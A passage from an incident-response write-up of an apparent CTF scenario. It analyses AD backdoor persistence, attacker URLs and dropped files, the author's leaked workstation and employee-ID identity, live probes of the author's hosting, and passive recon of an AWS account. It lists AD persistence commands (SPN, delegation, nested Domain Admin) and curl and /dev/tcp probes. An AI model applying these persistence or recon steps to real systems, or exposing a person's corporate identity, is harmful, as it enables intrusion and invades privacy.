  AND (target_user_name='serviceaccount' OR data_json LIKE '%serviceaccount%')
  AND time_utc BETWEEN '2026-03-08T20:00:00Z' AND '2026-03-08T22:00:00Z'
ORDER BY time_utc;

-- serviceaccount authentication audit (zero rows = never used)
SELECT host, time_utc, eid, target_user_name
FROM events WHERE source_type='evtx' AND channel='Security'
  AND eid IN (4624,4625,4768,4769,4776)
  AND target_user_name='serviceaccount';
-- 0 rows

DD27. Twenty-seventh pass — serviceaccount has no SPN, no delegation, no DontExpirePassword: the attacker used the simplest possible DA persistence and nothing else

DD26 established serviceaccount as the attacker's AD backdoor. A hardened operator worried about long-term access would typically add belt-and-suspenders persistence: register an SPN for offline Kerberoasting, set constrained delegation, set DONT_EXPIRE_PASSWORD, or attach SidHistory. DD27 parses every 4738 and checks every directory-service-modification event for these artifacts — the answer is none of them were added.

DD27.1 — The complete 4738 attribute-set for serviceaccount
AttributeValue at creationPersistence-hardening implication
AllowedToDelegateTo- (empty)No constrained delegation. Attacker cannot use the account to impersonate arbitrary users against arbitrary services.
SidHistory- (empty)No SidHistory injection. No cross-domain SID-forging potential.
UserPrincipalName- (not set)Account usable only via LAF\serviceaccount syntax, not @laf.local UPN.
LogonHours- (no restriction)Account usable any time of day, which is the default — not actively hardened.
UserAccountControlNewUacValue 0x10, flags %%2048 (Normal Account) + %%2050 (Password Not Required)No TRUSTED_FOR_DELEGATION (would be 0x80000). No TRUSTED_TO_AUTH_FOR_DELEGATION (would be 0x1000000). No DONT_EXPIRE_PASSWORD (would be 0x10000). No SMARTCARD_REQUIRED. Just a vanilla account with the Password-Not-Required flag (which is a net-user-add artifact — the /add switch in net sets PASSWD_NOTREQD unless a password is supplied; here the attacker did supply P@ssw0RD1!, so the flag is redundant/harmless).
DD27.2 — No SPN registration

Registering an SPN for a DA-capable account is the Kerberoasting enabler: any authenticated user in the domain can request a TGS for the SPN; the returned ticket is encrypted with the account's NT-hash (if RC4-HMAC) and can be cracked offline. A sophisticated persistence operator would always add a throwaway SPN (setspn -a HTTP/fake.local serviceaccount) so they could Kerberoast the hash from any domain-joined host months later.

Evidence: zero EID 5136 "Directory Service Object Modified" events for serviceaccount in the capture window. 5136 is what fires on AD attribute modifications like servicePrincipalName. Its absence is dispositive — no SPN was added. Corpus-wide query SELECT * FROM events WHERE eid IN (5136,5137,5139,5141) AND time_utc > '2026-03-08T20:00:00Z' returns zero rows.

DD27.3 — Minimalist persistence pattern fits the operator's other choices

Consolidating the operator's "do only what's strictly necessary" signature from across the writeup:

PhaseWhat attacker didWhat they did not do
Initial accessCommand injection into CheckStatus.aspx via && (DD23)Did not try SSRF to metadata first; did not try SQLi; did not scan other endpoints.
Beacon selectionUnknown C2 reflective loader (iis.exe + rnSylwOz.exe)Did not use Cobalt Strike, Sliver, Havoc, or Mythic (all would leave different family-specific fingerprints — none present).
NTDS theftsmbexec.py --use-vss (DD10.1)Did not use DCSync, did not use volume-shadow-service alternative tooling (shadowspawn, diskshadow).
Credential theftLSASS minidump via injected Explorer thread (DD11.1)Did not use rundll32 comsvcs.dll,MiniDump, did not use procdump.
AD persistencenet user + net group DA-addDid not add SPN, did not add delegation, did not set DontExpirePassword, did not attach SidHistory (DD27).
Cloud persistence3× CreateAccessKey (DD16)Did not modify IAM policies, did not add inline policies, did not create cross-account roles.
Ransomware distributionatexec.py to SYSVOL-hosted sysAV.bat (DD12)Did not use GPO-based distribution, did not modify AD objects for propagation, did not create scheduled tasks that persist across reboots.
Anti-recoveryvssadmin delete, bcdedit recovery disable (DD12.5)Did not modify BitLocker, did not overwrite MBR, did not destroy backup catalog entries beyond VSS.

Every phase uses one technique and no backup. This is either extreme operational discipline (every additional technique = additional detection surface = additional attribution evidence) or scenario-design minimalism (author included one clear path per phase for pedagogical purposes).

DD27.4 — What a more-paranoid operator would have added

If this scenario were run by a real APT with long-term-access goals, expect to see the following additions:

  • setspn -a HTTP/fake.laf.local LAF\serviceaccount — makes serviceaccount Kerberoastable
  • Set-ADUser serviceaccount -TrustedForDelegation $true — enables unconstrained delegation (TGT forwarding)
  • Set-ADUser serviceaccount -ServicePrincipalNames @{Add='RestrictedKrbHost/DC01'} — hides delegation in a benign-looking SPN
  • Set-ADUser serviceaccount -PasswordNeverExpires $true — ensures domain password policy can't age out the account
  • A hidden parallel account (e.g., svc_dev$) with just RID 498 read rights (DCSync) so the primary account can be wiped as a decoy while the secondary survives
  • A second DA in a nested group (e.g., create a benign group, nest it inside Enterprise Admins, add serviceaccount to the benign group) — evades simple "list members of Domain Admins" remediation queries
  • Modified DSACLs (directory-ACLs) on key OUs, granting the account implicit permissions beyond its group memberships

None of these appear in the evidence. The attacker's persistence is visible to any competent AD audit — which reinforces the scenario interpretation over the APT interpretation.

DD27.5 — Reproduction queries
-- No 5136 directory-service-modify events during attack window
SELECT COUNT(*) FROM events
WHERE source_type='evtx' AND eid IN (5136,5137,5139,5141)
  AND time_utc BETWEEN '2026-03-08T20:00:00Z' AND '2026-03-09T00:00:00Z';
-- 0 rows

-- 4738 attribute dump for serviceaccount (verifies AllowedToDelegateTo/SidHistory/UAC-flags)
SELECT time_utc, data_json FROM events
WHERE host='DC01' AND source_type='evtx' AND eid=4738
  AND target_user_name='serviceaccount';

DD28. Twenty-eighth pass — consolidated catalog: every URL, file, and operator-mistake the CTF author left behind that's reachable or verifiable from this corpus

The previous addenda surface individual artifacts in context. DD28 flattens them into one indexed list so a reader can work from a single inventory. Organized by class: (1) URLs / remote resources, (2) on-disk files the author created or pre-staged, (3) mistakes / imperfections left in the scenario, (4) lab-infrastructure tells, (5) author-persona metadata.

DD28.1 — URLs / remote resources left in the evidence
URLRoleEvidence sourcePotentially fetchable?
https://bigmac.io.s3.amazonaws.com/kape.zipAuthor's KAPE bundle (DD14)Sysmon EID 1 curl calls on all 5 hosts 22:13-22:21S3 public bucket — if still hosted, curl yields the author's KAPE version + target definitions
http://173.230.136.180:80/so.aspxWebshell binary (DD23.3)IIS log 18:51:42HTTP plain — attacker tool-server; content is the raw ASPX webshell source
http://173.230.136.180:80/iis.exeUnknown C2 first-stage beacon (DD24)IIS log 18:52:20SHA256 EFB53903203ACE7E…. Could verify with VT lookup
http://173.230.136.180:80/agent.exeReferenced by author's 13:39 pre-test (DD23.6); saved as %TEMP%\jb.exeIIS log 2026-03-08T13:39:16Z from 216.82.9.162Separate binary from iis.exe — author's validation payload
http://173.230.136.180:8443/Unknown C2 Framework listener (DD24.4)Sysmon EID 3 from iis.exe PID 4136/5572 at 19:05-19:37HTTPS (but served over port 8443). Responds with C2 beacon-handshake protocol
http://169.254.169.254/latest/api/tokenIMDSv2 token endpoint (DD8 / DD23.5)ps_transcript 21:25:35AWS metadata — only reachable from inside EC2
http://169.254.169.254/latest/meta-data/iam/security-credentials/iam_role_iisserverIMDSv2 IAM-creds endpointps_transcript 21:29:20As above
s3://sfcu-records/Decoy data bucket (DD17) — 164 objects of absurd parody contentCloudTrail 164× GetObject 21:49:16-25Reachable via AWS CLI with the stolen IAM-role credentials (still valid during capture window)
s3://barry-testing123123/Author's personal/scratch bucketCloudTrail HeadBucket from 216.82.9.162Name reveals author's "barry" persona
s3://barry-gd-bucket/Author's GuardDuty-output bucketCloudTrail HeadBucket 22:10:27 + ListObjects 22:13:04Name implies "Barry GuardDuty bucket"
s3://aws-cloudtrail-logs-464381121764-c4e35ae2/Default CloudTrail log bucketCloudTrail ListObjects 22:07-22:14Account ID embedded in name: 464381121764

Public-accessibility note: bigmac.io is a public S3-hosted static site. 173.230.136.180 is a Linode VPS whose HTTP (80) and Unknown C2 (8443) listeners may still be running if the author hasn't torn them down. Fetching any of these returns author-controlled content — verify before executing and treat as unverified input.

DD28.2 — Files the author left on hosts (by host)
HostPathPurposeSHA-256 (first 16)
IISC:\inetpub\wwwroot\so.aspxWebshell (4KB .aspx)(not in corpus, but droppable via GET /so.aspx)
IISC:\Windows\Temp\iis.exeUnknown C2 HTTP beaconEFB53903203ACE7E
SVR01\\10.3.10.12\ADMIN$\rnSylwOz.exeUnknown C2 2nd-stage beacon91813A2A087B3110
SVR01C:\Windows\Temp\abedgdaa.dmpLSASS minidump (≈40-80 MB)(not hashed in corpus)
DC01C:\Windows\Temp\execute.batsmbexec.py wrapper (fixed filename)(ephemeral — created/deleted per service)
DC01C:\Windows\Temp\__outputsmbexec.py output redirect(ephemeral)
DC01C:\Windows\Temp\ZIFylmKF.tmpStolen NTDS.DIT via VSS (SMB-exfil'd)(identical to ntds.dit at VSS-time)
SVR01C:\ProgramData\list.txtmakecab staging manifest(small text file)
SVR01C:\ProgramData\data.cabStaged exfil archive(not in corpus — never exfil'd elsewhere)
SVR01C:\ProgramData\msupdate.exeRenamed makecab.exe (legit MS binary)(standard Windows)
SVR01C:\Users\LAFAdmin\Desktop\Firefox.exeMasqueraded binary (Prefetch hash 11BBBDDD)(not in corpus, content unknown)
SVR01C:\Users\LAFAdmin\Downloads\FileZilla_3.69.6_win64_sponsored2-setup.exeFileZilla installer (bundled w/ PlayaNext adware)(legit-signed, public binary)
SVR01C:\ProgramData\LogDel.batEvent-log clear script(small text file)
DC02 SYSVOL\\LAF-DC02\sysvol\IamBatman.exeRansomware encryptor (CLI)B95501865ED74EDA
DC02 SYSVOL\\LAF-DC02\sysvol\sysAV.batRansomware launcher(small text file)
all 5 hostsC:\Kape\kape\kape.exe + C:\Kape\tout\Author's KAPE bundle + triage output (DD14)(unzipped from bigmac.io/kape.zip)
every directoryREADME_bWqQUx.txtRansom note (2,530 copies)(identical per-directory)
DD28.3 — Mistakes / imperfections in the scenario
WhatEvidenceIntentional or oversight?
First sysAV.bat fire on WS02 used ; (PowerShell separator) in cmd.exe context — IamBatman did NOT launchDD12.2 (21:58:34 WS02)Likely intentional — creates a 10-minute "detection-opportunity" gap for players to notice. Feels like a pedagogical trap.
FileZilla installer downloaded from sponsored2 mirror that bundles PlayaNext_Chrome_signed.exe adwareDD11.4 (20:18:46-20:18:54)Intentional — DD14 confirms FileZillaClient in author's KAPE target list. Author pre-scripted FileZilla appearance.
383 GuardDuty sample findings seeded via create-sample-findings on 2026-02-23, polluting the alert baselineDD19 (all markers i-99999999 + GeneratedFindingPath)Intentional — scenario-design signal-to-noise pedagogy.
GuardDuty high-severity finding at 21:57:18 on InstanceCredentialExfiltration.OutsideAWS went unacted for 11 minutes before ransomwareDD18Intentional — demonstrates detection-without-response failure mode.
Sethc.exe /AccessibilitySoundAgent fired at 22:17:00 — looks like StickyKeys persistence but is actually normal RDP session-startDD14.5 walk-backDesign side-effect — not author error, just easy to misattribute.
Local Administrator + localuser SAM passwords both equal password (crackable in < 1ms)DD21Pedagogical — weakest-possible password shows LSASS-dump impact without needing a hash-cracker.
serviceaccount created with no SPN, no delegation, no DontExpirePassword — visible to any competent AD auditDD27Pedagogical — backdoor should be findable in the triage, not stealthy.
IamBatman.exe only encrypts .txt / .pdf / .csv / .xlsx / .docx — narrow scopeDD13.2Pedagogical — limits scenario run-time; real ransomware hits 50+ extensions.
DD28.4 — Lab-infrastructure tells
ArtifactWhat it reveals
C:\ludus\background\bginfo.exe /accepteula C:\ludus\background\red.bgi /silent /timer:0 running every 10s on every hostLudus pentest-lab framework in use. red.bgi suggests red-team color-coded host background.
KAPE output directory JackOfAllHacks-TriagesAuthor project handle: "JackOfAllHacks"
IAM user jb_aws_cli + payload filename jb.exe"jb" persona across naming conventions — matches the "Jack of all Hacks" initials
S3 bucket barry-testing123123 + barry-gd-bucket"Barry" persona — the fictional-company protagonist (barrygoodtech.com)
RED1 workstation hostname (author's admin machine)Color-coded: red = red-team / offensive infrastructure
AWS Account ID 464381121764Account embedded in every CloudTrail row and in the CloudTrail-logs bucket name
Lab domain LAF.local / NetBIOS LAF"LAF" is the fictional company abbreviation — consistent with "Legal And Finance" kind of naming or author's whim
Pre-existing domain users Donny, Dalton, Ryan, Gilles, domainuser, LAFAdminLab-baseline users from Mar 3-7 logons
Legitimate C:\TFTP Server\SolarWinds TFTP Server.exe (SHA256 DC67150450C7325D) installed Mar 3Actual SolarWinds TFTP utility — lab baseline software, NOT the SolarWinds-Orion SUNBURST binary despite the name overlap
11 parody file-topics in sfcu-records (budget_for_more_coffee, pizza_party_waiver, evidence_of_the_breakroom_ghost, stolen_yogurt_investigation …)Author humor — deliberately absurd naming to telegraph "this bucket is not real data"
7 department folders in sfcu-records (Executive_Suite, HR, Accounting, IT_Support, Marketing, The_Basement, Legal)Standard-corporate-layout seeded for realism
DD28.5 — Author-persona summary
  • AWS account: 464381121764 administered from normal IP 216.82.9.162 with Root+MFA
  • Attacker infrastructure: two Linode VPSes (172.236.127.251 operator + 173.230.136.180 tool server port 80/8443)
  • Author workstation: localuser@RED1 from 198.51.100.3
  • Tool-hosting: bigmac.io S3 bucket (KAPE bundle)
  • Persona names: "Barry" (fictional-company protagonist — bucket names, domain), "jb" / "Jack of all Hacks" (offensive persona — IAM user, payload name, project handle)
  • Lab framework: Ludus (from the ludus background / ludus paths all over every host)
  • Fictional company: barrygoodtech.com with LAF.local AD domain
  • Pedagogical style: minimalist (DD27), realistic-but-absurd data (DD17), seeded-noise baseline (DD19), pre-staged detections that go unacted (DD18/DD26)

DD29. Twenty-ninth pass — live probe of the author-hosted infrastructure + forensic inspection of the kape.zip bundle: the author accidentally leaked their own work-machine identity inside the CTF distribution

DD28 cataloged every URL and file the author left behind. DD29 actually fetches what's still reachable and inspects it. Two surface-area tests: (a) live HTTP probes of the two attacker-infra hosts (bigmac.io S3 + Linode 173.230.136.180), and (b) forensic walk of the kape.zip archive contents.

DD29.1 — Live reachability as of 2026-04-20
EndpointResponseInterpretation
173.230.136.180:80 (attacker tool-server)TCP connection refused / timeoutLinode VPS torn down post-CTF. so.aspx, iis.exe, agent.exe no longer fetchable from origin.
173.230.136.180:8443 (Unknown C2 Framework)TCP connection refused / timeoutC2 listener also down.
https://bigmac.io.s3.amazonaws.com/ (author S3 tool-host)HTTP 403 on / and on ?list-type=2 ListObjectsPublic-read GET is enabled per-object, but bucket-wide ListBucket permission is denied. Cannot enumerate the bucket contents; can only fetch known filenames.
https://bigmac.io.s3.amazonaws.com/index.htmlHTTP 200 · 1,853 bytesStatic "BigMac.io" decoy homepage (fake restaurant). Generic-looking cover for the S3 bucket.
https://bigmac.io.s3.amazonaws.com/kape.zipHTTP 200 · 171,342,764 bytes (163 MB) · Last-Modified 2025-03-30Author's KAPE bundle, publicly fetchable. SHA256 (the version we downloaded) ebb583da6e81855bd59e9d5fbf48a5a8654a791dc1a69b521fd6aae277691eff.
Wordlist probe of 40+ common filenames (styles.css, README.md, chainsaw.zip, IamBatman.exe, so.aspx, etc.)All HTTP 403 except index.html and kape.zipOnly the two known objects are reachable. Author keeps the bucket minimal.
DD29.2 — kape.zip archive-contents summary
  • 1,286 entries total — the complete Eric Zimmerman KAPE toolkit
  • Root directory: kape/
  • Main binaries: kape.exe (7 MB CLI), gkape.exe (63 MB GUI), Get-KAPEUpdate.ps1, 7zr.exe
  • Standard Targets + Modules tree, including !SANS_Triage compound target used by the author's lab-collection workflow (DD14)
  • Version: approximately KAPE 1.3.0.2 era based on ChangeLog.txt (top entry)
  • Internal file timestamps: 2023-12-29 16:19 — bundle was packaged 2023-12-29, over 2 years before the CTF ran (2026-03-08)
DD29.3 — The accidental OpSec leak: author's work-machine identity embedded in kape.zip

Two non-standard files inside the archive are the author's own prior KAPE runs from their personal workstation — inadvertently included when they zipped up the tool directory:

FileSizeContent summary
kape/2023-12-26T20_03_29_3228383_ConsoleLog.txt707,915 bytesFull verbose console log from a KAPE run on 2023-12-26 at 15:03:29 local-time (UTC-5 = EST)
kape/20231229190140_kape.cli86 bytesSaved KAPE CLI template: --msource C: --mdest ./KapeOutput/%d%m --mflush --module DumpIt_Memory --debug --ifw

Identity leakage from the ConsoleLog.txt header:

[2023-12-26 15:03:29.6745759 | INF] KAPE directory: C:\Users\a271463\Documents\kape
[2023-12-26 15:03:29.6820902 | INF] System info: Machine name: GPLPW05AHAL, 64-bit: true,
                                    User: A271463 OS: "Windows10" (10.0.22621)
ModuleDestination: "C:\Windows\Temp20231226T200329GPLPW05AHAL"
SFTPComment:     GPLPW05AHAL
S3Comment:       GPLPW05AHAL
SasComment:      GPLPW05AHAL
  • Workstation hostname: GPLPW05AHAL — corporate naming pattern, likely "GPL-Pentest-Workstation-05-AHAL"
  • Local username: A271463 / a271463 — employee-ID format common to large enterprises (financial, defense, consulting)
  • Home directory: C:\Users\a271463\Documents\kape — confirms the user had local-admin home
  • OS: Windows 10.0.22621 (Windows 11 21H2 build) — corporate-managed endpoint
  • No credentials leaked: S3AccessId, S3Secret, SFTPPassword, ZipPassword all empty in the config dump (correctly)

What this reveals: the CTF author built the kape.zip bundle from their day-job work laptop on 2023-12-26, then re-used the same ZIP file 2+ years later for the 2026 null404 CTF. Standard practice when building a lab tool bundle is to capture from a clean VM; the author used their personal work machine and left the console log + CLI history in place when they packaged. Two-year-old OpSec debt.

Severity: the hostname + employee-ID pair does not directly de-anonymize the author in a public database lookup, but anyone who works at the same organization can match A271463 to a specific human from the company's AD. For a CTF author this is embarrassing but not catastrophic. For a real red-team engagement it would be a severe leak.

DD29.4 — The saved CLI template (20231229190140_kape.cli) reveals the author's preferred memory-capture recipe

Saved content:

--msource C: --mdest ./KapeOutput/%d%m --mflush --module DumpIt_Memory --debug --ifw

Translation: "run the DumpIt-memory KAPE module, output to ./KapeOutput/DDMM, flush the dest first, verbose debug, ignore-FTK-warning." This is the author's personal pre-built memory-capture shortcut — saved for re-use across engagements. It is different from the triage-collection command the author fired on every lab host on 2026-03-08 (DD14.3: --tsource C: --tdest C:\Kape\tout --target !SANS_Triage,FileZillaClient,WindowsDefender... --zip), which means the kape.zip bundle is the author's general-purpose toolkit rather than one specifically tailored for this CTF.

DD29.5 — Earlier ConsoleLog run-parameters (author's personal memory-forensics playbook)

The 2023-12-26 ConsoleLog shows the author previously ran:

kape --msource C:\ --mdest C:\Windows\Temp%d%m --mflush --zm true --module \
    DumpIt_Memory,PowerShell_Get-InjectedThread,\
    Volatility_amcache,Volatility_clipboard,Volatility_cmdline,Volatility_cmdscan,\
    Volatility_connections,Volatility_connscan,Volatility_consoles,Volatility_dlllist,\
    Volatility_driverirp,Volatility_hollowfind,Volatility_idt,Volatility_malfind,\
    Volatility_modscan,Volatility_modules,Volatility_netscan,Volatility_notepad,\
    Volatility_pslist,Volatility_psscan,Volatility_pstree,Volatility_psxview,\
    Volatility_shimcache,Volatility_sockets,Volatility_sockscan,Volatility_ssdt,\
    Volatility_userassist,Volatility_userhandles,\
    Windows_schtasks,Windows_SystemInfo \
    --ifw --trace

29 modules, all memory-forensics-heavy: DumpIt + 24× Volatility plugins (malfind, hollowfind, netscan, pstree, cmdline, etc.) + PowerShell Get-InjectedThread + task-scheduler + system-info. This is the exact same tradecraft the null404 scenario forces a player to use (memory-based CreateRemoteThread analysis → VAD dump → Unknown C2 attribution — Addendum PI / DD11.1 / DD21.2). The author has been working this playbook since at least 2023-12; the 2026 CTF is the refined version.

DD29.6 — What is NOT in bigmac.io (from 40+ filename probes)

No IamBatman.exe, no rnSylwOz.exe, no sysAV.bat, no writeups, no challenge archives, no secret/key files. The bucket holds only two objects (index.html decoy + kape.zip tool bundle). The Linode tool-server (173.230.136.180) is the layer that would have held the attack binaries; it's down.

DD29.7 — Consolidated "what we can still access" matrix
ItemReachable?SHA-256 for verification
bigmac.io/index.html (decoy)✅ public
bigmac.io/kape.zip (tool bundle + author OpSec leak)✅ public · 163 MBebb583da6e81855bd59e9d5fbf48a5a8654a791dc1a69b521fd6aae277691eff
bigmac.io anything else❌ 403 — ListBucket denied
173.230.136.180:80 (Linode tool-server)❌ torn down
173.230.136.180:8443 (Unknown C2 Framework)❌ torn down
iis.exe / rnSylwOz.exe / IamBatman.exe / so.aspx / agent.exe❌ origin down, not mirroredUse the in-memory SHA256 table from DD24 + USN hashes from Sysmon for verification
AWS account 464381121764 S3 buckets (sfcu-records, barry-testing123123, barry-gd-bucket, aws-cloudtrail-logs-…)⚠️ possibly reachable with stolen IAM keys if still valid — not tested here (would require the AKIA keys from DD16, which this writeup does not possess)
DD29.8 — Reproduction commands
# Fetch the author's KAPE bundle + verify hash
curl -sk "https://bigmac.io.s3.amazonaws.com/kape.zip" -o kape.zip
sha256sum kape.zip
# ebb583da6e81855bd59e9d5fbf48a5a8654a791dc1a69b521fd6aae277691eff

# Extract the two author-identity files
unzip -p kape.zip "kape/2023-12-26T20_03_29_3228383_ConsoleLog.txt" | head -5
unzip -p kape.zip "kape/20231229190140_kape.cli"

# Probe S3 ListBucket (denied)
curl -sk "https://bigmac.io.s3.amazonaws.com/?list-type=2" -I
# HTTP/1.1 403 Forbidden

# Probe Linode tool-server (down)
timeout 5 bash -c "echo > /dev/tcp/173.230.136.180/80" || echo "down"

DD30. Thirtieth pass — can we use the stolen AWS credentials? Full key-material audit against the corpus + live reachability test

DD16 enumerated three stolen long-term AKIA access-key IDs + one AssumedRole session ID, and concluded the long-term keys were the highest-priority residual risk. DD30 asks the reach-test question: given only what this corpus contains, can we actually authenticate to the victim AWS account today? The answer is no for all three AKIA keys, and no for the session credential (expired 42 days ago) — but the session's secret material IS in the corpus, which is itself a significant DD15-class finding.

DD30.1 — CloudTrail does NOT preserve SecretAccessKey for CreateAccessKey

For the three long-term keys (donnieworks / doctorderm / coolcat), the CloudTrail responseElements field contains only:

"responseElements": {
  "accessKey": {
    "userName": "donnieworks",
    "accessKeyId": "AKIA[REDACTED-FOR-PUBLICATION]",
    "status": "Active",
    "createDate": "Mar 8, 2026, 9:45:51 PM"
  }
}

The SecretAccessKey field is redacted by AWS before the event ever reaches CloudTrail — this is a deliberate post-2019 AWS security measure to prevent exactly this type of secret-leak-via-audit-log. So from this corpus, the three AKIA IDs are identifiable but not usable: we'd need the paired 40-character secret, which was only ever in the attacker's AWS-CLI stdout on Linode VPS 172.236.127.251 (offline, DD29).

DD30.2 — The AssumedRole session-credential leak is COMPLETE in ps_transcript

The IMDSv2 role-credential retrieval at 21:29:20 ran through PowerShell on IIS, and PowerShell transcription captured every byte of the Invoke-RestMethod response:

Code            : Success
LastUpdated     : 2026-03-08T21:11:20Z
Type            : AWS-HMAC
AccessKeyId     : ASIA[REDACTED-FOR-PUBLICATION]
SecretAccessKey : [REDACTED-FOR-PUBLICATION]
Token           : IQoJb3JpZ2luX2VjEFUaCXVzLWVhc3QtMiJHMEUCIA++cIiv2OGhaEMft6qTXUc0FTu7cAW97VVXeg3PlII1A
                  iEAr7gGUXDoEHyY2......ca4
Expiration      : 2026-03-09T03:29:40Z

The attacker's AssumedRole session credentials (AccessKeyId + SecretAccessKey + SessionToken) are fully reconstructible from the ps_transcript source in this corpus. In principle a reader could paste them into aws configure --profile attacker and call aws sts get-caller-identity --profile attacker. Two problems:

  1. Expiration: 2026-03-09T03:29:40Z. The session credentials expired 6 hours 0 minutes after issuance. As of today, they're 42 days past expiration. AWS STS will return ExpiredToken on any attempt to use them.
  2. The expired session can still be used for offline analysis (e.g., the session-token base64 can be decoded to reveal its internal routing metadata — account ID, role ARN, issue time — but we already have all of that from CloudTrail).
DD30.3 — Why this is still a DD15-class deep-dive finding

Recall DD15's thesis: KAPE-tier triage misses everything outside the file-system-forensics bucket. The ps_transcript source is one of those missed sources. A KAPE-only player would have:

  • The fact that IMDSv2 theft happened (CloudTrail AssumeRole off-instance, plus GuardDuty's sev-8 finding DD18)
  • The AccessKeyId of the stolen session (from CloudTrail userIdentity.accessKeyId)
  • Not the SecretAccessKey, because CloudTrail doesn't preserve it and KAPE doesn't collect PowerShell transcripts

A deep-dive player with the ps_transcript source gets the complete credential bundle. In a real incident with unexpired session credentials (say, if IR arrives within 6 hours), this would let the IR team act on the credentials directly — e.g., call DeleteAccessKey or inject access-denial via the attacker's own session before they rotate to a new one. The ps_transcript source is operationally live in a way a KAPE-triage bundle is not.

DD30.4 — Net reachability matrix
CredentialSecret in corpus?Status as of 2026-04-20Usable now?
ASIA[REDACTED-FOR-PUBLICATION] (AssumedRole session)Yes — in ps_transcript (DD30.2)Expired 42 days ago❌ No (ExpiredToken)
AKIA[REDACTED-FOR-PUBLICATION] (donnieworks)No — CloudTrail redacts itStill valid per AWS (no deactivation event in corpus)❌ Can't sign requests without secret
AKIA[REDACTED-FOR-PUBLICATION] (doctorderm)NoStill valid❌ Same
AKIA[REDACTED-FOR-PUBLICATION] (coolcat)NoStill valid❌ Same

Conclusion: from this corpus alone, we cannot authenticate to AWS account 464381121764. Every credential path is blocked — either by the secret-redaction policy (AKIA keys) or by time-expiration (AssumedRole). The bucket contents (sfcu-records, barry-testing123123, barry-gd-bucket, aws-cloudtrail-logs-…) remain unreachable to us. The earlier DD29 note "theoretically reachable with stolen IAM keys if still valid" is now definitively no — the corpus doesn't hold the secrets required.

DD30.5 — Ethical note on the test

Even if any credential path were usable, attempting to authenticate to an AWS account we don't own would constitute unauthorized access under the CFAA (US) and comparable statutes elsewhere. The value of DD30 is solely in establishing the reachability answer forensically — "can a corpus reader reach the bucket contents?" — not in exercising that reach. No API call was made against 464381121764 in producing this addendum.

DD30.6 — Reproduction queries
-- Confirm CloudTrail redaction (no SecretAccessKey field)
SELECT substr(data_json, instr(data_json,'responseElements'), 500) FROM events
WHERE source_type='cloudtrail'
  AND json_extract(data_json,'$.event.eventName')='CreateAccessKey'
  AND json_extract(data_json,'$.event.sourceIPAddress')='212.8.249.213';
-- responseElements.accessKey has accessKeyId only, no secretAccessKey

-- Full AssumedRole session credential leak in ps_transcript
SELECT time_utc, json_extract(data_json,'$.text') FROM events
WHERE source_type='ps_transcript'
  AND time_utc BETWEEN '2026-03-08T21:29:00Z' AND '2026-03-08T21:30:00Z'
  AND json_extract(data_json,'$.kind')='output'
ORDER BY time_utc;
-- AccessKeyId, SecretAccessKey, Token, Expiration all present

DD31. Thirty-first pass — passive recon of AWS account 464381121764: what unauthenticated S3 / DNS / naming-convention probes can reveal without touching any key material

DD30 closed off the active-auth paths (expired / redacted). DD31 is the other side of the coin: what can we learn about the victim AWS account from purely passive techniques — S3-head-probes, bucket-region headers, naming-convention inference, cross-account ownership tests? This is the complete checklist for external reconnaissance of a known AWS account, applied to 464381121764.

DD31.1 — What we can establish without authentication
FactValueHow we got it
AWS Account ID (12-digit)464381121764Directly embedded in every CloudTrail row (recipientAccountId, userIdentity.arn) + the CloudTrail bucket name
Primary regionus-east-2 (Ohio)x-amz-bucket-region header in HEAD response for all 4 account-owned buckets
Bucket inventory (4 buckets)sfcu-records, barry-testing123123, barry-gd-bucket, aws-cloudtrail-logs-464381121764-c4e35ae2Names surfaced from CloudTrail. Each existence re-verified via HEAD / returning 403 (bucket exists) vs 404 (bucket doesn't)
GuardDuty detector ID5ece44daaaff87fc5f1a7d3edbe49787Embedded in GuardDuty finding ARNs (arn:aws:guardduty:us-east-2:464381121764:detector/…) — DD18
GuardDuty regionus-east-2Finding ARNs
EC2 instance (IIS server)i-00779ebad43b2470dCloudTrail userIdentity.principalId for the AssumedRole session
IAM usersdonnieworks, doctorderm, coolcat, jb_aws_cliCloudTrail CreateAccessKey requestParameters.userName (DD7, DD16)
IAM roleiam_role_iisserver (instance profile on IIS EC2)CloudTrail userIdentity.sessionContext.sessionIssuer.userName
Root authenticationConsole login + MFA requiredCloudTrail ConsoleLogin events with mfaAuthenticated: true, from 216.82.9.162 (DD6.1)
Account-activity window in corpus2026-02-22T23:12:04Z2026-03-08T22:15:27ZFirst/last CloudTrail events for the account
CloudTrail bucket suffix-c4e35ae2Standard AWS default-trail naming (random 8-hex suffix)
DD31.2 — Cross-account test: bigmac.io is NOT owned by 464381121764

Sending an HTTP HEAD with x-amz-expected-bucket-owner: 464381121764 to a bucket owned by that account returns normal. Sending it to a bucket owned by a different account returns HTTP 403 with AccessDenied.

# Baseline (no expected-bucket-owner header): kape.zip is publicly readable
curl -skI https://bigmac.io.s3.amazonaws.com/kape.zip
→ HTTP/1.1 200 OK

# With expected-bucket-owner = 464381121764
curl -skI -H "x-amz-expected-bucket-owner: 464381121764" https://bigmac.io.s3.amazonaws.com/kape.zip
→ HTTP/1.1 403 Forbidden   ← rejected = owner is NOT 464381121764

Conclusion: bigmac.io is in a separate AWS account (in us-east-1, per its own region header). The author/attacker uses two AWS accounts: 464381121764 for the CTF scenario (us-east-2) and another unknown account for tool hosting (bigmac.io in us-east-1).

This is a notable OpSec separation — and matches the "two Linode VPSes for two roles" infrastructure pattern (DD23). The author's infra hygiene is: one account/host per distinct role.

DD31.3 — What DOES NOT work unauthenticated (tried and blocked)

Every S3 bucket-metadata endpoint on the four scenario buckets returns 403 to anonymous requests:

  • ?location= (GetBucketLocation) — 403
  • ?acl= (GetBucketAcl) — 403
  • ?policy= (GetBucketPolicy) — 403
  • ?policyStatus= (GetBucketPolicyStatus) — 403
  • ?publicAccessBlock= — 403
  • ?ownershipControls= — 403
  • ?cors=, ?website=, ?logging=, ?versioning=, ?encryption= — all 403
  • ?list-type=2 (ListObjectsV2) — 403 (bucket-wide list denied)
  • HEAD on AWSLogs/464381121764/ prefix in the CloudTrail bucket — 403 (no public listing)

Bucket-region enumeration works because S3 returns x-amz-bucket-region as a 200/4xx-response header for any request. Everything else is blocked — the owner has configured BlockPublicAcls + BlockPublicPolicy + IgnorePublicAcls + RestrictPublicBuckets correctly.

DD31.4 — Techniques that would require active authentication (not tried)
TechniqueWhat it'd revealWhy we didn't try
aws sts get-caller-identityWould confirm the stolen AKIA/session creds are live + return account ID + canonical user IDAKIA secrets not in corpus; session expired (DD30)
aws s3api list-objects-v2 --bucket sfcu-recordsWould list the 164 decoy files on diskAuth required
aws iam list-users / list-rolesWould enumerate every IAM principalAuth required
